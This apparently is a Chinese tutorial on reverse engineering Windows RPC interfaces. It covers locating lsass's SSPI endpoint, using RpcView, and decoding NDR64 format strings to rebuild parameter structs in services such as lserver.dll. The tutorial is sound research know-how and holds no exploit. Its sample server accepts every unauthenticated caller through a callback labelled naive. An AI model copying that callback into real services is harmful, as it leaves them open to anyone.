  LODWORD(v19.Pointer) = IsOkayToExec(&v58);
  if ( SLODWORD(v19.Simple) >= 0 )
  {
    v79 = v58[3];
     ......
v19.Pointer = NdrClientCall3((MIDL_STUBLESS_PROXY_INFO *)&sspirpc_ProxyInfo, 6u, 0i64, v79, &v90, v61, v59).Pointer;// 1. 关注第四个参数, 来自行1的v58
      
NTSTATUS __fastcall IsOkayToExec(_QWORD *a1)// 2. 深入函数实现
{
  if ( (DllState & 0x40000000) != 0 )
  {
    if ( a1 )
    {
      if ( !SecDllClient )
        return -1073741502;
      *a1 = SecDllClient;// 3. 找到赋值
    }
    return 0;

通过查找SecDllClient的引用, 来到函数InitState

__int64 InitState(void)
{
    ......
    RpcConnection = CreateRpcConnection(0, 2, (unsigned int)&v4, (unsigned int)&SecLsaPackageCount, (__int64)&v3);
    ......
  SecDllClient = LocalAlloc(0x40u, 0x30ui64);
  if ( SecDllClient )
  {
    *((_QWORD *)SecDllClient + 3) = v4;// 4. +8位置赋值了v4      

__int64 __fastcall CreateRpcConnection(__int64 a1, int a2, __int64 a3, __int64 a4, __int64 a5)
{
  result = SecpGetRpcBinding(&Binding);
  if ( (int)result >= 0 )
  {
    v14.Simple = 0i64;
    v12 = a2;
    v10.Pointer = NdrClientCall3((MIDL_STUBLESS_PROXY_INFO *)&sspirpc_ProxyInfo, 0, 0i64, Binding, a1, v12, a5, a4, a3).Pointer;// 5. v4即a3, a3来自于rpc调用的赋值. 关注到第四个参数binding

int __fastcall SecpGetRpcBinding(RPC_BINDING_HANDLE *a1)
{
  Binding = 0i64;
  v2 = RpcStringBindingComposeW(
         0i64,
         (RPC_WSTR)L"ncalrpc",
         0i64,
         (RPC_WSTR)L"lsasspirpc",
         word_180030B10,
         &StringBinding);
  v2 = RpcBindingFromStringBindingW(StringBinding, &Binding);// 6. 可以看到, binding就是我们要找的rpc_binding_handle

因为名字有isass, 估计是进程isass.exe, 通过rpcview查看:

rpcview不会自动识别端口来自哪个dll的rpc接口, 因此需要我们猜一下.

因为是sspi组件, 所以查看左下方所有的dll, 猜测应该是sspisrv.dll对应的服务是目标lsasspirpc, 右下方就是rpc的调用表.

rpcview的Flags栏, 鼠标放上去, 可以看到它的flag是什么意思.

如果想有符号, 通过下列方式添加(目录不要包含空格):

类似于windbg. 添加后重启rpcview.

它不会自动下载符号, 需要把符号先下载到对应目录才行, 下面是示例下载符号到C:\symbols目录的方法, 如果只需要一个dll的符号, 可以只下载那个dll, 不用全部下载.
1
2
cmd> cd "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\"
cmd> .\symchk /s srv*c:\SYMBOLS*https://msdl.microsoft.com/download/symbols C:\Windows\System32\*.dll
另外, 在选中dll后, 点击右键, 选择decompile, 可以得到接口对应的idl.

在sspisvc.dll里, 我们查找RpcServerRegisterIf3引用, 找到:

跟踪dword_180006380:

查看[50h]:

查看[8h]:

自此我们找到了它的调用接口.

一般rpc server的调用栈回溯

SspiSrv!SspirProcessSecurityContext
RPCRT4!Invoke+0x73
RPCRT4!Ndr64StubWorker+0xb98
RPCRT4!NdrServerCallAll+0x3c
RPCRT4!DispatchToStubInCNoAvrf+0x17
RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x1a8
RPCRT4!RPC_INTERFACE::DispatchToStub+0xf1
RPCRT4!LRPC_SCALL::DispatchRequest+0x14d
RPCRT4!LRPC_SCALL::HandleRequest+0xd5a
RPCRT4!LRPC_SASSOCIATION::HandleRequest+0x2c3
RPCRT4!LRPC_ADDRESS::HandleRequest+0x183
RPCRT4!LRPC_ADDRESS::ProcessIO+0x939
RPCRT4!LrpcIoComplete+0xfe
ntdll!TppAlpcpExecuteCallback+0x20c
ntdll!TppWorkerThread+0x4b3
KERNEL32!BaseThreadInitThunk+0x17
ntdll!RtlUserThreadStart+0x20

方法2: 通过调试找到uuid

在调用NdrClientCall3断下, 依次查看结构体:

和rpcview一致.

com接口的rpc NdrpClientCall3

com接口一般在进程内调用rpc时就用的 RPCRT4!NdrpClientCall3接口. 声明如下:

CLIENT_CALL_RETURN RPC_ENTRY
NdrpClientCall3
(
void * pThis, // rcx
MIDL_STUBLESS_PROXY_INFO *pProxyInfo, // rdx
ulong nProcNum, // r8
void *pReturnValue, // r9
NDR_PROC_CONTEXT *pContext, // poi(@rsp+0x28)
uchar *StartofStack // poi(@rsp+0x30)

)

第二个参数就是MIDL_STUBLESS_PROXY_INFO 结构体指针, 第三个是函数序号. 如果确认是进程内的调用, 可以直接在当前线程的RPCRT4!Invoke下断点, 直接找到相关处理函数.

示例堆栈:

07 00000053`8d2fd8e0 00007ffe`ef6d7de3     eapahost!EapHost::HostAuthenticatorApis::EapHostAuthenticatorReceivePacket+0xde // 实际调用的函数

08 00000053`8d2fd960 00007ffe`ef73bc6d     RPCRT4!Invoke+0x73
09 00000053`8d2fd9d0 00007ffe`ef6668b9     RPCRT4!Ndr64StubWorker+0xbfd
0a 00000053`8d2fe0a0 00007ffe`ef802209     RPCRT4!NdrStubCall3+0xc9
0b 00000053`8d2fe100 00007ffe`ef66a92b     combase!CStdStubBuffer_Invoke+0x59 [d:\rs1\onecore\com\combase\ndr\ndrole\stub.cxx @ 1527] 
0c 00000053`8d2fe140 00007ffe`ef84de3c     RPCRT4!CStdStubBuffer_Invoke+0x3b
0d (Inline Function) --------`--------     combase!InvokeStubWithExceptionPolicyAndTracing::__l6::::operator()+0x24 [d:\rs1\onecore\com\combase\dcomrem\channelb.cxx @ 1824] 
0e 00000053`8d2fe170 00007ffe`ef84e482     combase!ObjectMethodExceptionHandlingAction< >+0x4c [d:\rs1\onecore\com\combase\dcomrem\excepn.hxx @ 91] 
0f (Inline Function) --------`--------     combase!InvokeStubWithExceptionPolicyAndTracing+0x8d [d:\rs1\onecore\com\combase\dcomrem\channelb.cxx @ 1822] 
10 00000053`8d2fe1d0 00007ffe`ef81fab1     combase!DefaultStubInvoke+0x222 [d:\rs1\onecore\com\combase\dcomrem\channelb.cxx @ 1891] 
11 00000053`8d2fe3f0 00007ffe`ef8054c0     combase!CCtxChnl::SendReceive+0x2b1 [d:\rs1\onecore\com\combase\dcomrem\crossctx.cxx @ 4138] 
12 00000053`8d2fe660 00007ffe`ef737aed     combase!NdrExtpProxySendReceive+0x1c0 [d:\rs1\onecore\com\combase\ndr\ndrole\proxy.cxx @ 1965] 
13 00000053`8d2fe6d0 00007ffe`ef8014f4     RPCRT4!NdrpClientCall3+0x46d
14 00000053`8d2feae0 00007ffe`ef90cbb2     combase!ObjectStublessClient+0x144 [d:\rs1\onecore\com\combase\ndr\ndrole\amd64\stblsclt.cxx @ 371] 
15 00000053`8d2fee70 00007ffe`e27a4808     combase!ObjectStubless+0x42 [d:\rs1\onecore\com\combase\ndr\ndrole\amd64\stubless.asm @ 176] 

eapahost!ObjectStublessClient6(直接调用的 combase!ObjectStublessClient6)// 进入com接口调用

16 00000053`8d2feec0 00007ffe`e27a25d9     iassam!EAPSession::processEAPPacket+0x64

RPC接口的序列化

当我们构造rpc的请求时, 需要知道server端需要什么样的参数, 如果是自定义的结构体, 如果rpcview无法解析出结构体, 就需要我们逆向server的结构体格式化描述, 逆向出结构体. 本节将介绍server端如何构造的结构体格式化描述, 通过ida比对, 来逆向server的结构体.

假如我们的idl定义如下:

[
    uuid(3d267954-eeb7-11d1-b94e-00c04fa3080d),
        version(1.0),
]
interface Example1
{

    error_status_t Proc0_TLSRpcGetVersion(
        [in][context_handle] void* arg_0,
        [in][out]long* arg_1);

    error_status_t Proc1_TLSRpcConnect(
        [out][context_handle] void** arg_1);
    struct uknow1 {
        int f1;
        int f2;
        int f3;
        int f4;
        [size_is(f3)] unsigned char* buff;
        int f18;
        int f1c;
        [size_is(f18)] unsigned char* buff2;
    };

    struct uknow2 {
        int f1;
        int f2;
        char* buff;
        int f10;
        int f14;
        int f18;
        int f1c;
    };
    error_status_t Proc44_TLSRpcChallengeServer(
        [in][context_handle] void* arg_0,
        [in]long arg_1,
        [in]struct uknow1* arg_2,
        [out][ref]struct uknow2** arg_3,
        [out][ref]struct uknow1** arg_4,
        [in][out]long* arg_5);
]

在本文示例的server中, 添加如下:

error_status_t Proc0_TLSRpcGetVersion(void *handle, long *ver) {
    return 0;
}

error_status_t Proc1_TLSRpcConnect(void** handle) {
    return 2;
}

error_status_t Proc44_TLSRpcChallengeServer(
    void* arg_0,
    long arg_1,
    struct uknow1* arg_2,
    struct uknow2** arg_3,
    struct uknow1** arg_4,
    long* arg_5) {
    return 1;
}

这里, 我们一共定义了三个接口函数. 并声明了两种特别的结构体ukonw1, uknow2.

在自动生成的.c文件里, 就可以看到如下信息:

static const RPC_SERVER_INTERFACE Example1___RpcServerInterface =
    {
    sizeof(RPC_SERVER_INTERFACE),
    {{0x3d267954,0xeeb7,0x11d1,{0xb9,0x4e,0x00,0xc0,0x4f,0xa3,0x08,0x0d}},{1,0}},
    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},
    (RPC_DISPATCH_TABLE*)&Example1_v1_0_DispatchTable,
    0,
    0,
    0,
    &Example1_ServerInfo,
    0x06000000
    };

static const MIDL_SERVER_INFO Example1_ServerInfo = 
    {
    &Example1_StubDesc,
    Example1_ServerRoutineTable,
    Example1__MIDL_ProcFormatString.Format,
    (unsigned short *) Example1_FormatStringOffsetTable,
    0,
    (RPC_SYNTAX_IDENTIFIER*)&_NDR64_RpcTransferSyntax_1_0,
    2,
    (MIDL_SYNTAX_INFO*)Example1_SyntaxInfo
    };

static const MIDL_SYNTAX_INFO Example1_SyntaxInfo [  2 ] = 
    {
    {
    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},
    (RPC_DISPATCH_TABLE*)&Example1_v1_0_DispatchTable,
    Example1__MIDL_ProcFormatString.Format,
    Example1_FormatStringOffsetTable,
    Example1__MIDL_TypeFormatString.Format,
    0,
    0,
    0
    }
    ,{
    {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}},
    (RPC_DISPATCH_TABLE*)&Example1_NDR64__v1_0_DispatchTable,
    0 ,
    (unsigned short *) Example1_Ndr64ProcTable,
    0,
    0,
    0,
    0
    }
    };

其中序列化有关的就是 Example1_SyntaxInfo结构体.

在ida中如下:

以下是Example1__MIDL_ProcFormatString结构体的部分内容:

static const Example1_MIDL_PROC_FORMAT_STRING Example1__MIDL_ProcFormatString =
    {
        0,
        {
      ......

/* Procedure Proc44_TLSRpcChallengeServer */

/* 88 */0x0,/* 0 */
0x48,/* Old Flags:  */
/* 90 */NdrFcLong( 0x0 ),/* 0 */
/* 94 */NdrFcShort( 0x2 ),/* 2 */
/* 96 */NdrFcShort( 0x38 ),/* X64 Stack size/offset = 56 */
/* 98 */0x30,/* FC_BIND_CONTEXT */
0x40,/* Ctxt flags:  in, */
/* 100 */NdrFcShort( 0x0 ),/* X64 Stack size/offset = 0 */
/* 102 */0x0,/* 0 */
0x0,/* 0 */
/* 104 */NdrFcShort( 0x48 ),/* 72 */
/* 106 */NdrFcShort( 0x24 ),/* 36 */
/* 108 */0x47,/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */
0x7,/* 7 */
/* 110 */0xa,/* 10 */
0x7,/* Ext Flags:  new corr desc, clt corr check, srv corr check, */
/* 112 */NdrFcShort( 0x1 ),/* 1 */
/* 114 */NdrFcShort( 0x1 ),/* 1 */
/* 116 */NdrFcShort( 0x0 ),/* 0 */
/* 118 */NdrFcShort( 0x0 ),/* 0 */

/* Parameter arg_0 */

/* 120 */NdrFcShort( 0x8 ),/* Flags:  in, */
/* 122 */NdrFcShort( 0x0 ),/* X64 Stack size/offset = 0 */
/* 124 */NdrFcShort( 0x2 ),/* Type Offset=2 */

/* Parameter arg_1 */

/* 126 */NdrFcShort( 0x48 ),/* Flags:  in, base type, */
/* 128 */NdrFcShort( 0x8 ),/* X64 Stack size/offset = 8 */
/* 130 */0x8,/* FC_LONG */
0x0,/* 0 */

/* Parameter arg_2 */

/* 132 */NdrFcShort( 0x10b ),/* Flags:  must size, must free, in, simple ref, */
/* 134 */NdrFcShort( 0x10 ),/* X64 Stack size/offset = 16 */
/* 136 */NdrFcShort( 0x2e ),/* Type Offset=46 */

/* Parameter arg_3 */

/* 138 */NdrFcShort( 0x2013 ),/* Flags:  must size, must free, out, srv alloc size=8 */
/* 140 */NdrFcShort( 0x18 ),/* X64 Stack size/offset = 24 */
/* 142 */NdrFcShort( 0x48 ),/* Type Offset=72 */

/* Parameter arg_4 */

/* 144 */NdrFcShort( 0x2013 ),/* Flags:  must size, must free, out, srv alloc size=8 */
/* 146 */NdrFcShort( 0x20 ),/* X64 Stack size/offset = 32 */
/* 148 */NdrFcShort( 0x64 ),/* Type Offset=100 */

/* Parameter arg_5 */

/* 150 */NdrFcShort( 0x158 ),/* Flags:  in, out, base type, simple ref, */
/* 152 */NdrFcShort( 0x28 ),/* X64 Stack size/offset = 40 */
/* 154 */0x8,/* FC_LONG */
0x0,/* 0 */

/* Return value */

/* 156 */NdrFcShort( 0x70 ),/* Flags:  out, return, base type, */
/* 158 */NdrFcShort( 0x30 ),/* X64 Stack size/offset = 48 */
/* 160 */0x10,/* FC_ERROR_STATUS_T */
0x0,/* 0 */

0x0
        }
    };

static const unsigned short Example1_FormatStringOffsetTable[] =
    {
    0,
    50,
    88
    };

Example1_FormatStringOffsetTable 结构体里的值就是每一个rpc接口函数在Example1__MIDL_ProcFormatString.Format内存里的偏移, 因为我们声明了三个函数, 所以有三个值. 因为是从Format字段开始算的, 需要偏移2字节.

在ida中反汇编server, 在偏移88+2 即 0x5a位置, 就是0, 0x48, ...

这里的2 dup(0)是指有两个重复的0. 偏移0x60+0x58 = 0xb8, 0x140006cb8 位置的值为 10h, 0, 0, 48h, 0, 0, 0, 0, 2....

Example1__MIDL_ProcFormatString 结构体会具象化到 Example1_Ndr64ProcTable 里.

让我们看一下Example1_Ndr64ProcTable结构体:

static const FormatInfoRef Example1_Ndr64ProcTable[] = // 这是一个描述符的数组.
    {
    &__midl_frag2,
    &__midl_frag7,
    &__midl_frag11
    };

static const __midl_frag11_t __midl_frag11 =
{ 
/* Proc44_TLSRpcChallengeServer */
    { 
    /* Proc44_TLSRpcChallengeServer */      /* procedure Proc44_TLSRpcChallengeServer */
        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */
        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */
        (NDR64_UINT32) 76 /* 0x4c */,
        (NDR64_UINT32) 157 /* 0x9d */,
        (NDR64_UINT16) 0 /* 0x0 */,
        (NDR64_UINT16) 0 /* 0x0 */,
        (NDR64_UINT16) 7 /* 0x7 */,
        (NDR64_UINT16) 8 /* 0x8 */
    },
    { 
    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
        { 
        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
            0x70,    /* FC64_BIND_CONTEXT */
            (NDR64_UINT8) 64 /* 0x40 */,
            0 /* 0x0 */,   /* Stack offset */
            (NDR64_UINT8) 0 /* 0x0 */,
            (NDR64_UINT8) 0 /* 0x0 */
        },
        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */
    },
    { 
    /* arg_0 */      /* parameter arg_0 */
        &__midl_frag12, // _NDR64_PARAM_FORMAT.Type
        {               // _NDR64_PARAM_FORMAT.Attribute
        /* arg_0 */
            0,
            0,
            0,
            1,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            (NDR64_UINT16) 0 /* 0x0 */,
            0
        },    /* [in] */
        (NDR64_UINT16) 0 /* 0x0 */,
        0 /* 0x0 */,   // _NDR64_PARAM_FORMAT.StackOffset
    },
    { 
    /* arg_1 */      /* parameter arg_1 */
        &__midl_frag13,
        { 
        /* arg_1 */
            0,
            0,
            0,
            1,
            0,
            0,
            1,
            1,
            0,
            0,
            0,
            0,
            0,
            (NDR64_UINT16) 0 /* 0x0 */,
            0
        },    /* [in], Basetype, ByValue */
        (NDR64_UINT16) 0 /* 0x0 */,
        8 /* 0x8 */,   /* Stack offset */
    },
    { 
    /* arg_2 */      /* parameter arg_2 */
        &__midl_frag15,
        { 
        /* arg_2 */
            1,
            1,
            0,
            1,
            0,
            0,
            0,
            0,
            1,
            0,
            0,
            0,
            0,
            (NDR64_UINT16) 0 /* 0x0 */,
            0
        },    /* MustSize, MustFree, [in], SimpleRef */
        (NDR64_UINT16) 0 /* 0x0 */,
        16 /* 0x10 */,   /* Stack offset */
    },
    { 
    /* arg_3 */      /* parameter arg_3 */
        &__midl_frag22,
        { 
        /* arg_3 */
            0,
            1,
            0,
            0,
            1,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            (NDR64_UINT16) 0 /* 0x0 */,
            1
        },    /* MustFree, [out], UseCache */
        (NDR64_UINT16) 0 /* 0x0 */,
        24 /* 0x18 */,   /* Stack offset */
    },
    { 
    /* arg_4 */      /* parameter arg_4 */
        &__midl_frag26,
        { 
        /* arg_4 */
            1,
            1,
            0,
            0,
            1,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            (NDR64_UINT16) 0 /* 0x0 */,
            1
        },    /* MustSize, MustFree, [out], UseCache */
        (NDR64_UINT16) 0 /* 0x0 */,
        32 /* 0x20 */,   /* Stack offset */
    },
    { 
    /* arg_5 */      /* parameter arg_5 */
        &__midl_frag29,
        { 
        /* arg_5 */
            0,
            0,
            0,
            1,
            1,
            0,
            1,
            0,
            1,
            0,
            0,
            0,
            0,
            (NDR64_UINT16) 0 /* 0x0 */,
            0
        },    /* [in], [out], Basetype, SimpleRef */
        (NDR64_UINT16) 0 /* 0x0 */,
        40 /* 0x28 */,   /* Stack offset */
    },
    { 
    /* error_status_t */      /* parameter error_status_t */
        &__midl_frag30,
        { 
        /* error_status_t */
            0,
            0,
            0,
            0,
            1,
            1,
            1,
            1,
            0,
            0,
            0,
            0,
            0,
            (NDR64_UINT16) 0 /* 0x0 */,
            0
        },    /* [out], IsReturn, Basetype, ByValue */
        (NDR64_UINT16) 0 /* 0x0 */,
        48 /* 0x30 */,   /* Stack offset */
    }
};

这里可以看到, 每一个参数都有描述符.

在IDA中如下:

我们查看一下__midl_frag11_t结构体的定义:

typedef 
struct 
{
    struct _NDR64_PROC_FORMAT frag1;
    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
    struct _NDR64_PARAM_FORMAT frag3;
    struct _NDR64_PARAM_FORMAT frag4;
    struct _NDR64_PARAM_FORMAT frag5;
    struct _NDR64_PARAM_FORMAT frag6;
    struct _NDR64_PARAM_FORMAT frag7;
    struct _NDR64_PARAM_FORMAT frag8;
    struct _NDR64_PARAM_FORMAT frag9;
}
__midl_frag11_t;
typedef struct _NDR64_PARAM_FORMAT
{
    PNDR64_FORMAT       Type;
    NDR64_PARAM_FLAGS   Attributes;
    NDR64_UINT16        Reserved;
    NDR64_UINT32        StackOffset;
} NDR64_PARAM_FORMAT, *PNDR64_PARAM_FORMAT;
typedef struct _NDR64_PARAM_FLAGS
{
    NDR64_UINT16    MustSize            : 1;
    NDR64_UINT16    MustFree            : 1;
    NDR64_UINT16    IsPipe              : 1;
    NDR64_UINT16    IsIn                : 1;
    NDR64_UINT16    IsOut               : 1;// 4
    NDR64_UINT16    IsReturn            : 1;
    NDR64_UINT16    IsBasetype          : 1;
    NDR64_UINT16    IsByValue           : 1;
    NDR64_UINT16    IsSimpleRef         : 1;// 8
    NDR64_UINT16    IsDontCallFreeInst  : 1;
    NDR64_UINT16    SaveForAsyncFinish  : 1;
    NDR64_UINT16    IsPartialIgnore     : 1;
    NDR64_UINT16    IsForceAllocate     : 1;// 12
    NDR64_UINT16    Reserved            : 2;
    NDR64_UINT16    UseCache            : 1;
} NDR64_PARAM_FLAGS;

以第二个参数的描述符举例:

{ 
/* arg_2 */      /* parameter arg_2 */
    &__midl_frag15,
    { 
    /* arg_2 */
        1,//MustSize
        1,//MustFree
        0,
        1,//IsIn
        0,
        0,
        0,
        0,
        1,//IsSimpleRef
        0,
        0,
        0,
        0,
        (NDR64_UINT16) 0 /* 0x0 */,
        0
    },    /* MustSize, MustFree, [in], SimpleRef */
    (NDR64_UINT16) 0 /* 0x0 */,
    16 /* 0x10 */,   /* Stack offset */
},

它的 Attribute为 10Bh, 即IsSimpleRef, IsIn, MustFree, MustSize.

查看__midl_frag15:

typedef 
struct 
{
    struct _NDR64_STRUCTURE_HEADER_FORMAT{
        NDR64_FORMAT_CHAR       FormatCode;
        NDR64_ALIGNMENT         Alignment;
        NDR64_STRUCTURE_FLAGS   Flags;
        NDR64_UINT8             Reserve;
        NDR64_UINT32            MemorySize;
    }
    { 
    /* uknow1 */
        0x31,    /* FC64_PSTRUCT */ // 说明是个自定义结构体. 格式-值 对应表见 NDR64_FORMAT_CHARATER 章节
        (NDR64_UINT8) 7 /* 0x7 */, // 8字节对齐
        { 
        /* uknow1 */
            1,
            0,
            0,
            0,
            0,
            0,
            0,
            0
        },
        (NDR64_UINT8) 0 /* 0x0 */,
        (NDR64_UINT32) 40 /* 0x28 */ // 说明结构体需要的字节为0x28. 
    },
    struct 
    {
        struct _NDR64_NO_REPEAT_FORMAT {
           NDR64_FORMAT_CHAR    FormatCode;
           NDR64_UINT8          Flags;
           NDR64_UINT16         Reserved1;
           NDR64_UINT32         Reserved2;
        }
         { 
         /* struct _NDR64_NO_REPEAT_FORMAT */
             0x80,    /* FC64_NO_REPEAT */
             (NDR64_UINT8) 0 /* 0x0 */,
             (NDR64_UINT16) 0 /* 0x0 */,
             (NDR64_UINT32) 0 /* 0x0 */
         },
        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT {
            NDR64_UINT32         Offset;
            NDR64_UINT32         Reserved;
        }
        { 
        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */
            (NDR64_UINT32) 16 /* 0x10 */, // 说明0x10偏移处是一个指针
            (NDR64_UINT32) 0 /* 0x0 */
        },
        struct _NDR64_POINTER_FORMAT {
            NDR64_FORMAT_CHAR  FormatCode;
            NDR64_UINT8        Flags;
            NDR64_UINT16       Reserved;
            PNDR64_FORMAT      Pointee;
        }
        { 
        /* *char */
            0x21,    /* FC64_UP */
            (NDR64_UINT8) 32 /* 0x20 */,
            (NDR64_UINT16) 0 /* 0x0 */,
            &__midl_frag16
        },
        struct _NDR64_NO_REPEAT_FORMAT
        { 
        /* struct _NDR64_NO_REPEAT_FORMAT */
            0x80,    /* FC64_NO_REPEAT */
            (NDR64_UINT8) 0 /* 0x0 */,
            (NDR64_UINT16) 0 /* 0x0 */,
            (NDR64_UINT32) 0 /* 0x0 */
        },
        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT
        { 
        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */
            (NDR64_UINT32) 32 /* 0x20 */,
            (NDR64_UINT32) 0 /* 0x0 */
        },
        struct _NDR64_POINTER_FORMAT
        { 
        /* *char */
            0x21,    /* FC64_UP */
            (NDR64_UINT8) 32 /* 0x20 */,
            (NDR64_UINT16) 0 /* 0x0 */,
            &__midl_frag19
        },
        NDR64_FORMAT_CHAR frag7;
        0x93    /* FC64_END */
    } frag2;
}
__midl_frag15_t;

这里我把数值和结构体声明放到了一起, 方便理解. 通过这个结构体信息, 可以知道, 结构体大小为0x28. 有两个指针, 分别在结构体偏移 0x10, 0x20处.

查看PNDR64_FORMAT __midl_frag16:

static const __midl_frag16_t __midl_frag16 =
{ 
    typedef struct _NDR64_CONF_ARRAY_HEADER_FORMAT
    {
        NDR64_FORMAT_CHAR   FormatCode;
        NDR64_ALIGNMENT     Alignment;
        NDR64_ARRAY_FLAGS   Flags;
        NDR64_UINT8         Reserved;
        NDR64_UINT32        ElementSize;
        PNDR64_FORMAT       ConfDescriptor;
    } NDR64_CONF_ARRAY_HEADER_FORMAT;
/* *char */
    { 
    /* *char */
        0x41,    /* FC64_CONF_ARRAY */ // 说明是一个数组
        (NDR64_UINT8) 0 /* 0x0 */,
        { 
        /* *char */
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0
        },
        (NDR64_UINT8) 0 /* 0x0 */,
        (NDR64_UINT32) 1 /* 0x1 */,
        &__midl_frag17
    },
    typedef struct _NDR64_ARRAY_ELEMENT_INFO
    {
        NDR64_UINT32        ElementMemSize;
        PNDR64_FORMAT       Element;
    } NDR64_ARRAY_ELEMENT_INFO;
    { 
    /* struct _NDR64_ARRAY_ELEMENT_INFO */
        (NDR64_UINT32) 1 /* 0x1 */,
        &__midl_frag21
    }
};
static const __midl_frag21_t __midl_frag21 =
0x10    /* FC64_CHAR */; // 说明数组成员是 CHAR 类型

static const __midl_frag17_t __midl_frag17 =
{ 
/*  */
    (NDR64_UINT32) 1 /* 0x1 */,
    typedef struct _NDR64_EXPR_VAR
    {
        NDR64_FORMAT_CHAR   ExprType;
        NDR64_FORMAT_CHAR   VarType;
        NDR64_UINT16        Reserved;
        NDR64_UINT32        Offset;
    } NDR64_EXPR_VAR;
    { 
    /* struct _NDR64_EXPR_VAR */
        0x3,    /* FC_EXPR_VAR */
        0x5,    /* FC64_INT32 */ 
        (NDR64_UINT16) 0 /* 0x0 */, 
        (NDR64_UINT32) 8 /* 0x8 */ // 说明数组size取决于偏移为8的字段.
    }
};

通过__midl_frag16我们可以知道, 数组的size取决于偏移为8字段的值, 数组成员为char类型.

Rpcview 获取 RPC 接口 IDL

通过rpcview的decompile操作, 可以得到接口的idl.

如果遇到rpcview解析idl报错, 比如:

[
uuid(3d267954-eeb7-11d1-b94e-00c04fa3080d),
version(1.0),
]
interface DefaultIfName
{
[ERROR] unable to get list of all types sorted
......
error_status_t Proc8_TLSRpcRequestNewLicense(
[in][context_handle] void* arg_0, 
[in]long arg_1, 
[in]struct Struct_302_t* arg_2, 
[in][string] wchar_t* arg_3, 
[in][string] wchar_t* arg_4, 
[in][range(0,16384)] long arg_5, 
[in][ref][size_is(arg_5)]/*[range(0,16384)]*/ byte *arg_6, 
[in]long arg_7, 
[out]long *arg_8, 
[out][ref][size_is(, *arg_8)]/*[range(0,0)]*/ byte **arg_9, 
[in][out]long *arg_10);
....

[size_is(, *arg_8)] 表示arg_9的堆大小取决于*arg_8的值

因为解析错误, 导致我们需要逆向struct Struct_302_t结构体. 有两个方法可以逆向结构体.

方法一:

找到client端, 然后查看client是怎么调用的. 找client的方法如下, 用powershell安装 NtObjectManager

1
2
3

PS> Install-Module -Name NtObjectManager -RequiredVersion 1.1.33
PS> $rpc = ls c:\windows\system32\*.dll | Get-RpcServer -ParseClients
PS> $rpc | ? {$_.Client -and $_.InterfaceId -eq '44d1520b-6133-41f0-8a66-d37305ecc357'} | Select FilePath

原理就是遍历dll, 找到调用了rpc的操作, 并找出其中调用了目标接口的dll. 根据dll(或者dll的引用方), 看client是怎么操作的. 这个方法不一定好用, 比如一些size_is标签是看不出来的. 此处感谢k0shl师父的分享.

方法二 :

逆向server的 MIDL_SYNTAX_INFO结构体.

示例lserver.dll:

这里, 我关心的是第45个rpc函数的结构体描述符, 即1800A29B0:

查看arg2对应的描述符:

可以看到, 结构体大小为0x28, 字段大致如下:

struct{
    int f_0;
    int f_4;
    int f_8;
    int f_Ch;//pad
    void *f_10h;
    int f_18h;
    int f_1Ch;
    void *f_20h;
};

跟入unk_1800A22C0:

查看第一个指针的描述符:

可以知道, 结构体是一个数组, 类型为char, size偏移为8.

struct{
    int f_0;
    int f_4;
    int f_8;
    int f_Ch;//pad
    [size_is(f_8)]char *f_10h;
    int f_18h;
    int f_1Ch;
    void *f_20h;
};

f_20h的分析:

所以, arg2对应的结构体如下:

struct{
    int f_0;
    int f_4;
    int f_8;
    int f_Ch;//pad
    [size_is(f_8)]char *f_10h;
    int f_18h;
    int f_1Ch;
    [size_is(f_18h)]char *f_20h;
};

RPC项目示例

来自示例项目
代码里的”Example1.h”是根据idl自动生成的.

Server

// File Example1Server.cpp
#include 
#include "Example1.h"

// Server function.
void Output(const char* szOutput)
{
   std::cout << szOutput << std::endl;
}

// Naive security callback.
RPC_STATUS CALLBACK SecurityCallback(RPC_IF_HANDLE /*hInterface*/, void* /*pBindingHandle*/)
{
    return RPC_S_OK; // Always allow anyone.
}

int main()
{
   RPC_STATUS status;

   // Uses the protocol combined with the endpoint for receiving
   // remote procedure calls.
   status = RpcServerUseProtseqEp(
      reinterpret_cast<unsigned char*>("ncacn_ip_tcp"), // Use TCP/IP protocol.
      RPC_C_PROTSEQ_MAX_REQS_DEFAULT, // Backlog queue length for TCP/IP.
      reinterpret_cast<unsigned char*>("4747"),         // TCP/IP port to use.
      NULL);                          // No security.

   if (status)
      exit(status);

   // Registers the Example1 interface.
   status = RpcServerRegisterIf2(
      Example1_v1_0_s_ifspec,              // Interface to register.
      NULL,                                // Use the MIDL generated entry-point vector.
      NULL,                                // Use the MIDL generated entry-point vector.
      RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH, // Forces use of security callback.
      RPC_C_LISTEN_MAX_CALLS_DEFAULT,      // Use default number of concurrent calls.
      (unsigned)-1,                        // Infinite max size of incoming data blocks.
      SecurityCallback);                   // Naive security callback.

   if (status)
      exit(status);

   // Start to listen for remote procedure
   // calls for all registered interfaces.
   // This call will not return until
   // RpcMgmtStopServerListening is called.
   status = RpcServerListen(
     1,                                   // Recommended minimum number of threads.
     RPC_C_LISTEN_MAX_CALLS_DEFAULT,      // Recommended maximum number of threads.
     FALSE);                              // Start listening now.

   if (status)
      exit(status);
}

// Memory allocation function for RPC.
// The runtime uses these two functions for allocating/deallocating
